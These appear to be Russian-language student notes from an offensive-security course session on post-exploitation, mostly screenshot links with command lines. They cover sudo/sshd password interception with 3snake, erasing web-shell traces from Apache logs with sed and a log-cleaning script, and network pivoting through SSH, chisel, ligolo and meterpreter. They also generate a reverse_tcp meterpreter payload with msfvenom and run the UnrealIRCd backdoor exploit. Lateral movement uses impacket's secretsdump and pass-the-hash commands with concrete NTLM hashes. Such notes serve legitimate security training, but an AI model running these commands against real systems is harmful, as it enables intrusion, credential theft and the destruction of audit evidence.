![](https://i.imgur.com/KnJd0Km.jpg) если по датам изменений найти ... Проверка в рантайм ![](https://i.imgur.com/X9b2Mk7.png) ![](https://i.imgur.com/yiD3TlJ.png) **PAM** https://www.opennet.ru/base/dev/pam_linux.txt.html http://www.linux-pam.org/Linux-PAM-html/ 3 путь для решения тех же задач ![](https://i.imgur.com/VwhrULY.png) этот проект - специализированный отладчик sudo sshd git clone https://github.com/blendin/3snake ![](https://i.imgur.com/MlhnIwc.png) ![Uploading file..._xi0jje1lr]() ![](https://i.imgur.com/x4RmLR4.png) * make - собирает * make clean - очищает ![](https://i.imgur.com/VVDwytD.png) поменял логику автор и перехват не работает можно вести отладку с помощью ... ....... Еще один способ закрепления в сервисе ![](https://i.imgur.com/Nnxw4gX.png) ______________ Касательно прошлого урока - апгрейд интерактивного терминала [20:12] Ярослав Шмелев https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ Upgrading Simple Shells to Fully Interactive TTYs Catching a reverse shell over netcat is great…until you accidentally Ctrl-C and lose it. These techniques let you upgrade your shell to a proper TTY [20:12] Ярослав Шмелев pwncat ______________ **Скрытие следов активности** Идентификация логов и меток времени ![](https://i.imgur.com/LZGq0OK.png) ![](https://i.imgur.com/JeOxOza.png) ![](https://i.imgur.com/RtqmmMS.png) ![](https://i.imgur.com/cNWVeQl.png) ![](https://i.imgur.com/1mvWx22.png) ![](https://i.imgur.com/hfiQTP7.png) ![](https://i.imgur.com/9o5WiIk.png) ![](https://i.imgur.com/LXJbmJo.png) ![](https://i.imgur.com/Kwa1uKv.png) ![](https://i.imgur.com/xZThfTu.png) ![](https://i.imgur.com/UYPJQSF.png) замена у нескольких файлов ctime злоумышленника можно легко обнаружить по датам С помощью stream editor set * sed -i '/WSO\.php/d' /var/log/apache2/access.log.1 ![](https://i.imgur.com/ZhbBwbY.png) Удачные попытки входа ( нам надо скрыть ) ![](https://i.imgur.com/yTDGErT.png) https://github.com/Macr0phag3/LLC ![](https://i.imgur.com/9hIZkyG.png) * wget https://raw.githubusercontent.com/Macr0phag3/LLC/master/LLC.py * python3 LLC.py -l 2 -i teacher-inspiron-7577 [20:52] Ярослав Шмелев * python3 LLC.py -l 3 -u test ## Pivoting Обход сегментации сети - Максимум внимания Макс результат, минимум услилий ![](https://i.imgur.com/dm40qwf.png) Пивотинг - некий набор техник, мы можем принимать соединение, отправлять соединение Развитие атаки , после проникновения по внешнему контуру Как будто в той же сети что и машина атакуемого **Основные задачи** ![](https://i.imgur.com/0guxIlN.png) 1. Машина должна быть прокси (socks 5) Запускаем Postexploatation server & metasploitable ![](https://i.imgur.com/uvnN5JC.png) **Инструмент SSH** ![](https://i.imgur.com/tKIq7Rt.png) Настраиваем сеть Добавим адрес ![](https://i.imgur.com/Q7hk1Fa.png) * ip addr add 10.0.0.1/24 dev eth1 ![](https://i.imgur.com/bsU7pAX.png) Local port forwarding - позволяет пробросить удаленный порт на нашей маштине * ssh -L 8080:10.0.0.2:80 test@192.168.50.140 ![](https://i.imgur.com/AIcjkJK.png) * ssh -L 3307:127.0.0.1:3306 test@192.168.50.140- mysql ![](https://i.imgur.com/YESAIkM.png) проброс удаленного порта на mysql * mysql -u root -P 3307 -p -h 127.0.0.1 ![](https://i.imgur.com/zCIKrIl.png) ![](https://i.imgur.com/PfslRXq.png) ![](https://i.imgur.com/j4Vgurd.png) ![Uploading file..._hfs4ognbs]() ## Remote port forwarding ![](https://i.imgur.com/Baayyfn.png) он не работает в дефолтных настройках без этой директивы мы не сможем пробрасывать порты, доступные извне * grep Gateway /etc/ssh/sshd_config * ssh -v ![](https://i.imgur.com/gM3FKRF.png) ![](https://i.imgur.com/PY7iG2u.png) * GatewayPorts yes * sshd -t * service ssh restart ![](https://i.imgur.com/L0XEbTG.png) ![](https://i.imgur.com/koGyNST.png) * ssh -R 4444:0.0.0.0:4444 test@192.168.50.140 ![](https://i.imgur.com/Omu0bbX.png) ## Использование хоста в качестве прокси Dynamic port forwarding - через ссш ниже конспект -D **Socks Proxi SSH** * ssh -vR 4444:0.0.0.0:4444 -D5555 test@192.168.50.140 ![](https://i.imgur.com/FOH8uQs.png) ![](https://i.imgur.com/wv3ovwZ.png) **Пивотинг от Исраэля** https://drive.google.com/file/d/1Sq0NfPO3J9RMNzRjScJWlOlmX7KPDqvx/view?usp=sharing Доп инфа https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md https://artkond.com/2017/03/23/pivoting-guide/ ![](https://i.imgur.com/l0qZIXQ.png) https://linuxhint.com/proxychains-tutorial/ # Занятие 9. 25.06.22 ![](https://i.imgur.com/1qpZWrM.png) ![](https://i.imgur.com/qapbD3A.png) * ip addr add 10.0.0.1/24 dev eth1 из Kali подключаемся по протоколу ssh ![](https://i.imgur.com/JhdzXDA.png) **Конфигурация соединений** ProxyJump - упрощает жизнь при работе ![](https://i.imgur.com/QBNz1UN.png) ~/.ssh/config ``` Host linux Hostname 192.168.50.140 User test LocalForward 3306 127.0.0.1:3306 RemoteForward 0.0.0.0:4444 127.0.0.1:4444 ``` ![](https://i.imgur.com/jPbt7Cg.png) мы будем всегда аутентифицироваться по ключу * HostKeyAlgorithms=+ssh-dss Построение цепоцек прометжуточных хостов ![](https://i.imgur.com/vA5simx.png) ``` Host linux Hostname 192.168.50.140 User test LocalForward 3306 127.0.0.1:3306 RemoteForward 0.0.0.0:4444 127.0.0.1:4444 Host metasploitable Hostname 10.0.0.2 User msfadmin ProxyJump linux HostKeyAlgorithms=+ssh-dss ``` копируем ключ ссш * ssh-copy-id alias * man ssh_config * ssh-keygen пробрасываем удаленный порт на машине -R - попр форвардинг, который позволит на удаленной машине подключится к нам ![](https://i.imgur.com/4ZFy8df.png) * ssh -D 5555 -R 6666:0.0.0.0:6666 linux **Инструменты С2** ![](https://i.imgur.com/Tum2MIp.png) Нам нужно 2 порта - 1 получает соединение хэгдлера, 2 сокс прокси ![](https://i.imgur.com/h4CMOQF.png) exploit/unix/irc/unreal_ircd_3281_backdoor set Proxies socks5:127.0.0.1:5555 ![](https://i.imgur.com/GhBI92O.png) ![](https://i.imgur.com/y6FhaF4.png) 10.0.0.2 - metasploitable ![](https://i.imgur.com/s4xnMDi.png) cmd/unix/reverse_perl ![](https://i.imgur.com/2yVK2AL.png) lhost - промежуточная машина set ReverseAllowProxy true ![](https://i.imgur.com/CTRxILL.png) отправили команду с бэкдором через прокси метасплойтайбел заставили работать с удаленной машиной, сессия прошла через промеж машину и была зафорфардена через ссш клиент ![](https://i.imgur.com/VHMbNbX.png) **Сhisel** https://github.com/jpillora/chisel https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz ![](https://i.imgur.com/6UdiWXk.jpg) ![](https://i.imgur.com/tIAMcnw.png) если не указываем путь то по умолчанию - домашняя директория ./chisel server -p 9132 --reverse --socks5 ![](https://i.imgur.com/gOHofMM.png) делаем то же самое на удаленной машине,только в режиме клиента https://github.com/jpillora/chisel GitHub - jpillora/chisel: A fast TCP/UDP tunnel over HTTP A fast TCP/UDP tunnel over HTTP. Contribute to jpillora/chisel development by creating an account on GitHub. nohup ./chisel client 192.168.50.223:9132 R:0.0.0.0:8888:127.0.0.1:8888 R:socks ![](https://i.imgur.com/ifGsHgo.png) nohup ./chisel client 192.168.50.223:9132 0.0.0.0:8888:127.0.0.1:8888 R:socks & (& запускает команду в бэкграунде) ![](https://i.imgur.com/lRQiFZt.png) ![](https://i.imgur.com/yxRI3t4.png) ![](https://i.imgur.com/7bSd21s.png) chisel по умолчанию запускает порт 1080 lport - настройки к хэндлеру ![](https://i.imgur.com/1Efgfa7.png) https://github.com/ginuerzh/gost/blob/master/README_en.md gost/README_en.md at master · ginuerzh/gost GO Simple Tunnel - a simple tunnel written in golang - gost/README_en.md at master · ginuerzh/gost Более сложная утилита с большей возможностью ![](https://i.imgur.com/Uv8dGwt.png) **Доступ к удаленной машине без сокс сервера** ![](https://i.imgur.com/Ue3R1iR.png) агент ставится на нашу машину ![](https://i.imgur.com/ihf2lZt.png) sudo ip tuntap add user kali mode tun ligolo sudo ip link set ligolo up ./agent sudo ip tuntap add user kali mode tun ligolo sudo ip link set ligolo up ./proxy -selfcert ![](https://i.imgur.com/JXYGLn7.png) ./agent -connect 192.168.50.223:11601 -ignore-cert sudo ip route add 10.0.0.0/24 dev ligolo роут позволит нам рабоатть с интерфейсом start ![](https://i.imgur.com/lLcJ77m.png) для нас удаленная машина как роутер, но обратного соединения нет Космическая скорость работы с удаленной сетью Проброс портов через ligolo listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp ![](https://i.imgur.com/HJbEW2o.png) для принятия с удаленной машины на свою **pivoting mererpreter** https://habr.com/ru/post/326148/ https://www.offensive-security.com/metasploit-unleashed/pivoting/ msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.50.223 -f elf > met.elf set payload linux/x64/meterpreter/reverse_tcp use exploit/multi/handler ![](https://i.imgur.com/b5d5Ogv.png) portfwd ![](https://i.imgur.com/HVOXlBr.png) ![](https://i.imgur.com/vGWHBac.png) настройка роут через сессию метерпреттер [13:21] Ярослав Шмелев route -h [13:22] Ярослав Шмелев route add 10.0.0.0 255.255.255.0 4 ![](https://i.imgur.com/udYGH9k.png) ![](https://i.imgur.com/V5lGopd.jpg) use auxiliary/server/socks_proxy ![](https://i.imgur.com/ijzPeRs.png) curl --socks5 127.0.0.1:1080 10.0.0.2 ![](https://i.imgur.com/YulgPbo.png) Проброс портов ![](https://i.imgur.com/iOOjIqt.png) portfwd add -R -l 3333 -p 3333 -L 127.0.0.1 ![](https://i.imgur.com/IOGG0lm.png) важно: прокси удаляем через метасплойт менее надежная эксплуатация ![](https://i.imgur.com/vNE595N.jpg) скорость сканирования портов - медленная Заставляем работать утилиту через сокс используем proxychains ![](https://i.imgur.com/mLWZV7T.png) ![](https://i.imgur.com/HQztVZU.png) ускоряем за счет таймаутов tcp_read_time_out 2000 tcp_connect_time_out 500 ![](https://i.imgur.com/WbkXHse.png) ![](https://i.imgur.com/S6XLta7.jpg) Совет- ориентироваться на Ligolo ![](https://i.imgur.com/gpP07mk.png) ![](https://i.imgur.com/i2B2k4E.png) техника сокрытия коммуникаций в СDN https://habr.com/ru/post/354814/ **DNS tunneling** ![](https://i.imgur.com/eEQKDBI.png) https://2017.zeronights.org/wp-content/uploads/materials/ZN17_SintsovAndreyanov_MeterpreterReverseDNS.pdf https://medium.com/@petergombos/smb-named-pipe-pivoting-in-meterpreter-462580fd41c5 https://github.com/BishopFox/sliver/wiki/Pivots ![](https://i.imgur.com/rMxr1fE.png) **Это маскировка и обход трафика** ![](https://i.imgur.com/sphXZZC.png) ## Горизонтальное перемещение Lateral movement ![](https://i.imgur.com/ibOQCxN.jpg) ..... 14:41 Продолжение конспекта ![](https://i.imgur.com/HXftaaN.png) создали пайп , подключаемся services.py -debug vagrant:vagrant@192.168.50.201 create -name 1 -display 1 -path 'mkdir.exe c:\\smbpwned' services.py -debug vagrant:vagrant@192.168.50.201 start -name 1 ![](https://i.imgur.com/E0970Ei.jpg) **Синхронизировали время** ![](https://i.imgur.com/U7jw4jB.png) ![](https://i.imgur.com/OAqKqBS.png) atexec.py -debug vagrant:vagrant@192.168.50.201 "whoami" wmiexec.py -nooutput -debug vagrant:vagrant@192.168.50.201 "mkdir c:\\123456" **evil-Winrm** ![](https://i.imgur.com/Td2Gsl0.png) ![](https://i.imgur.com/68SiGmz.png) ![](https://i.imgur.com/Zd2k5hg.jpg) [14:53] Ярослав Шмелев sudo gem install evil-winrm https://github.com/Hackplayers/evil-winrm dcomexec.py -nooutput -debug VAGRANT-2008R2/vagrant:vagrant@10.0.2.4 "mkdir c:\pwnwmi" [14:58] Ярослав Шмелев https://habr.com/ru/post/114150/ Хранение и шифрование паролей Microsoft Windows Про взлом паролей windows было написано немало статей, но все они сводились к использованию какого-либо софта, либо поверхностно описывали способы шифрования LM и NT, и совсем поверхностно описывал... secretsdump.py vagrant:vagrant@192.168.50.201 [15:00] Ярослав Шмелев psexec.py Administrator@192.168.50.201 -hashes :e02bc503339d51f71d913c245d35b50b [15:01] Ярослав Шмелев https://ru.wikipedia.org/wiki/NTLMv2 NTLMv2 NTLMv2 (NTLM версии 2) — встроенный в операционные системы семейства Microsoft Windows протокол сетевой аутентификации. Широко применяется в различных сервисах на их базе. Изначально был предназначен для... ![](https://i.imgur.com/CDcIsP8.png) Shmelev Jaroslav, [25 июня 2022 г., 15:09:11]: psexec.py -hashes LM:NTLM admin@target psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b VAGRANT-2008R2/Administrator@10.0.2.6 whoami wmiexec.py -hashes :NTLM admin@target wmiexec.py -hashes :e02bc503339d51f71d913c245d35b50b VAGRANT-2008R2/Administrator@10.0.2.6 whoami export SMBHASH=aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 pth-winexe -U admin% //target cmd SMBHASH=aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b pth-winexe -U Administrator //10.0.2.6 cmd pth-wmic -U admin% //target "select Name from Win32_UserAccount" pth-wmis -U admin% //target "cmd.exe /c whoami > c:\out.txt" pth-smbclient -U admin% //target/c$ pth-rpcclient -U admin% //target pth-sqsh -U admin -S target # Microsoft SQL Server pth-curl http://target/exec?cmd=ipconfig pth-net rpc group ADDMEM 'Administrators' username -S target -U domain/user ./client/X11/xfreerdp /v:target /u:admin /pth:31d6cfe0d16ae931b73c59d7e0c089c0 http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/ wmic qfe list | findstr KB2871997 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:cdf51b162460b7d5bc898f493751a0cc HARIS-PC/Administrator@10.129.177.234 whoami ![](https://i.imgur.com/PJBGDYq.png) ![](https://i.imgur.com/79mGCeJ.png) эннумерация установленных обновлений ![](https://i.imgur.com/gPB0jSL.png) ![](https://i.imgur.com/AGiT5QD.png) rpcclient 10.129.82.4 -U hacker enumdomusers